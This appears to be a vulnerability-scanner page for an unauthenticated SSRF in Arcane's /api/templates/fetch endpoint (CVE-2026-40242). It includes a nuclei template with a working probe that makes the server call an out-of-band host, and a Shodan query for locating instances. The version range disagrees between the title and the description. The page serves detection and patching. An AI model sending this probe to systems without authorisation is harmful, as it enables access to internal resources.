Arcane <= 1.17.2 - Server-Side Request Forgery

highseverity

7.2CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

Arcane <= 1.17.3 contains an unauthenticated server-side request forgery caused by lack of URL scheme and host validation in /api/templates/fetch endpoint, letting remote attackers perform SSRF, exploit requires no authentication.

Impact

Remote attackers can make the server perform arbitrary HTTP requests, potentially accessing internal resources or sensitive data.

Fix

Upgrade to version 1.17.3 or later.

How to confirm it

Send: GET /api/templates/fetch?url=http://{{interactsh-url}}/test.json
Positive when: status_code == 200 and contains(interactsh_protocol, "http") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2026-40242 -u <target>

The full check

id: CVE-2026-40242

info:
  name: Arcane <= 1.17.2 - Server-Side Request Forgery
  author: 0x_Akoko
  severity: high
  description: |
   Arcane <= 1.17.3 contains an unauthenticated server-side request forgery caused by lack of URL scheme and host validation in /api/templates/fetch endpoint, letting remote attackers perform SSRF, exploit requires no authentication.
  impact: |
   Remote attackers can make the server perform arbitrary HTTP requests, potentially accessing internal resources or sensitive data.
  remediation: |
   Upgrade to version 1.17.3 or later.
  reference:
    - https://github.com/getarcaneapp/arcane/security/advisories/GHSA-ff24-4prj-gpmj
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40242
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-40242
    cwe-id: CWE-918
    epss-score: 0.00621
    epss-percentile: 0.50099
  metadata:
    verified: true
    max-request: 1
    vendor: getarcaneapp
    product: arcane
    shodan-query: http.html:"arcane"
  tags: cve,cve2026,arcane,ssrf,oast,unauth,vkev

http:
  - raw:
      - |
        GET /api/templates/fetch?url=http://{{interactsh-url}}/test.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(interactsh_protocol, "http")
          - contains(content_type, "application/json")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from